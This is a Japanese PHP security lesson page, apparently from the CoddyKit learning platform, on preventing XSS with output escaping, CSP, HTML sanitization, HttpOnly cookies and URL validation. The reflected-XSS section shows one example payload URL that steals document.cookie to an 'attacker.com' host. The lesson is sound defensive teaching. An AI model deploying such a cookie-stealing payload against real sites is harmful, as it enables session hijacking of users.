クロスサイトスクリプティング(XSS)の防止
htmlspecialcharsで出力をエスケープし、Content Security Policyを実装します
「クロスサイトスクリプティング(XSS)の防止」はCoddyKit上の無料PHP Academyレッスンです。 これはレッスン1/4です。 下記で完全なレッスンを無料で読むことができます。その後、ブラウザ内の組み込みコードエディタと24時間対応のAIチューターでハンズオン演習できます。 これはPHP Academy学習パスの一部であり、ウェブとCoddyKitアプリ全体で進捗が同期されます。 PHP Academyコースには全4レッスンが含まれています。
XSSとは
クロスサイトスクリプティング(XSS)とは、攻撃者が悪意のあるJavaScriptを、他のユーザーが閲覧するWebページに挿入する攻撃です。スクリプトは被害者のブラウザー上で実行され、セッション、Cookie、DOMにアクセスできます。
反射型XSS
悪意のあるペイロードがURLやフォームパラメーターに含まれ、サーバーによってレスポンスに反映されます。
// Malicious URL:
https://example.com/search?q=<script>document.location="https://attacker.com/steal?c="+document.cookie</script>格納型XSS
ペイロードがデータベース(コメントやプロフィール項目など)に保存され、そのページを閲覧するすべての訪問者に表示されます。
DOMベースXSS
この脆弱性はクライアント側のJavaScriptだけに存在し、innerHTMLやdocument.writeを使って信頼できないデータを安全でない方法でDOMに挿入します。
htmlspecialchars()
出力をエスケープし、HTMLの特殊文字を無害なエンティティに変換します。ユーザーから提供されたデータは、必ず表示する前にエスケープしてください。
<?php
echo htmlspecialchars($userInput, ENT_QUOTES | ENT_HTML5, "UTF-8");
// Converts: < > " ' & into HTML entitiesBladeの自動エスケープ
Laravel Bladeの{{ }}構文は、htmlspecialcharsを自動的に呼び出します。{!! !!}は、信頼できるサニタイズ済みHTMLに対してのみ使用してください。
{{-- Safe: --}}
<h1>{{ $user->name }}</h1>
{{-- Dangerous if $content is untrusted: --}}
<div>{!! $content !!}</div>コンテンツセキュリティポリシー(CSP)
CSP HTTPヘッダーは、信頼できるソースからのスクリプトだけを実行するようブラウザーに指示し、挿入されたインラインスクリプトがページに到達してもブロックします。
<?php
$response->headers->set("Content-Security-Policy",
"default-src 'self'; script-src 'self' https://cdn.example.com; object-src 'none'"
);HTML入力のサニタイズ
リッチHTML入力(WYSIWYGエディターなど)を許可する必要がある場合は、HTML Purifierのようなホワイトリスト方式のライブラリやmews/purifier Laravelパッケージでサニタイズしてください。
<?php
// Using HTMLPurifier:
$purifier = new HTMLPurifier();
$cleanHtml = $purifier->purify($dirtyHtml);X-XSS-Protectionヘッダー
X-XSS-Protection: 1; mode=blockヘッダーを追加します(レガシーブラウザーをサポートする場合)。最新のブラウザーでは、代わりにCSPが使用されます。
HttpOnly Cookie
セッションCookieにHttpOnlyフラグを設定すると、JavaScriptによる読み取りを防止できます。これにより、スクリプトが挿入された場合でも、XSSによるセッション盗難を軽減できます。
URLの検証
ユーザーから提供されたURLは、検証せずにhrefやsrcへ挿入しないでください。javascript: URIによってXSSが実行される可能性があります。
<?php
$url = filter_var($input, FILTER_VALIDATE_URL);
if ($url === false || !in_array(parse_url($url, PHP_URL_SCHEME), ["http", "https"])) {
$url = "#"; // fallback
}概要
出力は必ずhtmlspecialchars(またはBladeの{{ }})でエスケープしてください。コンテンツセキュリティポリシーを追加してください。HTML入力はホワイトリスト方式のライブラリでサニタイズしてください。HttpOnly Cookieを使用してください。
確認問題
特殊なHTML文字をエンティティに変換するPHP関数はどれですか?
よくある質問
「クロスサイトスクリプティング(XSS)の防止」レッスンは無料ですか?
はい。「クロスサイトスクリプティング(XSS)の防止」の完全なテキストはこのウェブで無料で読めます。インタラクティブに演習し(組み込みコードエディタと24時間対応のAIチューター)、PHP Academyコースの残りをアンロックするには、CoddyKit PROにアップグレードしてください。 PHP Academyコースには全4レッスンが含まれています。
「クロスサイトスクリプティング(XSS)の防止」で何を学びますか?
htmlspecialcharsで出力をエスケープし、Content Security Policyを実装します ブラウザで直接実行するハンズオンコードでPHP Academyを演習し、24時間対応のAIチューターがレッスンを進める中での質問に答えます。
PHP Academyを始めるのに経験は必要ですか?
事前経験は必要ありません。CoddyKitのPHP Academyは初級者から上級者向けに構成されているため、ここから始めるか最初から始めて、自分のペースで進むことができます。 これはレッスン1/4です。
「クロスサイトスクリプティング(XSS)の防止」レッスンにはどのくらい時間がかかりますか?
ほとんどのCoddyKitレッスンは約5~10分かかります。各レッスンはコンパクトでインタラクティブなので、着実に進歩し、ウェブとアプリ全体で正確に前回の場所から再開できます。
このPHP Academyレッスンでコードを書いて実行できますか?
はい。すべてのPHP Academyレッスンに組み込みコードエディタが含まれているため、ブラウザでリアルコードを書いて実行し、即座のAIフィードバックを取得できます。ローカル設定は不要です。
このコースのすべてのレッスン
- クロスサイトスクリプティング(XSS)の防止
- SQLインジェクションとパラメータ化クエリ
- CSRF対策
- パスワードの安全な保存